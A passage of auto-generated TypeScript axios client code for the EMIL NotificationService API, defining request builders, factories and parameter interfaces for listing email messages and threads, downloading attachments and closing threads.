* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListEmailMessagesResponseClass> {
return localVarFp.listEmailMessages(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath));
},
};
};
/**
* Request parameters for downloadAttachment operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiDownloadAttachmentRequest
*/
export interface EmailMessagesApiDownloadAttachmentRequest {
/**
*
* @type {string}
* @memberof EmailMessagesApiDownloadAttachment
*/
readonly code: string
/**
*
* @type {number}
* @memberof EmailMessagesApiDownloadAttachment
*/
readonly attachmentId: number
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiDownloadAttachment
*/
readonly authorization?: string
}
/**
* Request parameters for getMessage operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiGetMessageRequest
*/
export interface EmailMessagesApiGetMessageRequest {
/**
*
* @type {string}
* @memberof EmailMessagesApiGetMessage
*/
readonly code: string
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiGetMessage
*/
readonly authorization?: string
}
/**
* Request parameters for listAttachments operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiListAttachmentsRequest
*/
export interface EmailMessagesApiListAttachmentsRequest {
/**
*
* @type {string}
* @memberof EmailMessagesApiListAttachments
*/
readonly code: string
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiListAttachments
*/
readonly authorization?: string
}
/**
* Request parameters for listEmailMessages operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiListEmailMessagesRequest
*/
export interface EmailMessagesApiListEmailMessagesRequest {
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly authorization?: string
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly pageSize?: number
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly pageToken?: string
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly filter?: string
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly search?: string
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly order?: string
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly expand?: string
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly filters?: string
}
/**
* EmailMessagesApi - object-oriented interface
* @export
* @class EmailMessagesApi
* @extends {BaseAPI}
*/
export class EmailMessagesApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiDownloadAttachmentRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
public downloadAttachment(requestParameters: EmailMessagesApiDownloadAttachmentRequest, options?: AxiosRequestConfig) {
return EmailMessagesApiFp(this.configuration).downloadAttachment(requestParameters.code, requestParameters.attachmentId, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiGetMessageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
public getMessage(requestParameters: EmailMessagesApiGetMessageRequest, options?: AxiosRequestConfig) {
return EmailMessagesApiFp(this.configuration).getMessage(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiListAttachmentsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
public listAttachments(requestParameters: EmailMessagesApiListAttachmentsRequest, options?: AxiosRequestConfig) {
return EmailMessagesApiFp(this.configuration).listAttachments(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {EmailMessagesApiListEmailMessagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
public listEmailMessages(requestParameters: EmailMessagesApiListEmailMessagesRequest = {}, options?: AxiosRequestConfig) {
return EmailMessagesApiFp(this.configuration).listEmailMessages(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { GetEmailThreadResponseClass } from '../models';
// @ts-ignore
import { ListEmailMessagesResponseClass } from '../models';
// @ts-ignore
import { ListEmailThreadsResponseClass } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* EmailTrackingApi - axios parameter creator
* @export
*/
export const EmailTrackingApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'code' is not null or undefined
assertParamExists('closeThread', 'code', code)
const localVarPath = `/notificationservice/v1/email-threads/{code}/close`
.replace(`{${"code"}}`, encodeURIComponent(String(code)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'PATCH', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'code' is not null or undefined
assertParamExists('getThread', 'code', code)
const localVarPath = `/notificationservice/v1/email-threads/{code}`
.replace(`{${"code"}}`, encodeURIComponent(String(code)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages: async (code: string, authorization?: string, filter?: string, filters?: string, order?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'code' is not null or undefined
assertParamExists('listMessages', 'code', code)
const localVarPath = `/notificationservice/v1/email-threads/{code}/messages`
.replace(`{${"code"}}`, encodeURIComponent(String(code)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
const localVarPath = `/notificationservice/v1/email-threads`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* EmailTrackingApi - functional programming interface
* @export
*/
export const EmailTrackingApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = EmailTrackingApiAxiosParamCreator(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async closeThread(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetEmailThreadResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.closeThread(code, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async getThread(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetEmailThreadResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.getThread(code, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async listMessages(code: string, authorization?: string, filter?: string, filters?: string, order?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailMessagesResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.listMessages(code, authorization, filter, filters, order, expand, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async listThreads(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailThreadsResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.listThreads(authorization, pageSize, pageToken, filter, search, order, expand, filters, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* EmailTrackingApi - factory interface
* @export
*/
export const EmailTrackingApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = EmailTrackingApiFp(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread(code: string, authorization?: string, options?: any): AxiosPromise<GetEmailThreadResponseClass> {
return localVarFp.closeThread(code, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread(code: string, authorization?: string, options?: any): AxiosPromise<GetEmailThreadResponseClass> {
return localVarFp.getThread(code, authorization, options).then((request) => request(axios, basePath));
},
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages(code: string, authorization?: string, filter?: string, filters?: string, order?: string, expand?: string, options?: any): AxiosPromise<ListEmailMessagesResponseClass> {
return localVarFp.listMessages(code, authorization, filter, filters, order, expand, options).then((request) => request(axios, basePath));
},
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListEmailThreadsResponseClass> {
return localVarFp.listThreads(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath));
},
};
};
/**
* Request parameters for closeThread operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiCloseThreadRequest
*/
export interface EmailTrackingApiCloseThreadRequest {
/**
*
* @type {string}
* @memberof EmailTrackingApiCloseThread
*/
readonly code: string
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiCloseThread
*/
readonly authorization?: string
}
/**
* Request parameters for getThread operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiGetThreadRequest
*/
export interface EmailTrackingApiGetThreadRequest {
/**
*
* @type {string}
* @memberof EmailTrackingApiGetThread
*/
readonly code: string
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiGetThread
*/
readonly authorization?: string
}
/**
* Request parameters for listMessages operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiListMessagesRequest
*/
export interface EmailTrackingApiListMessagesRequest {
/**
*
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly code: string
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly authorization?: string
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly filter?: string
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly filters?: string
/**
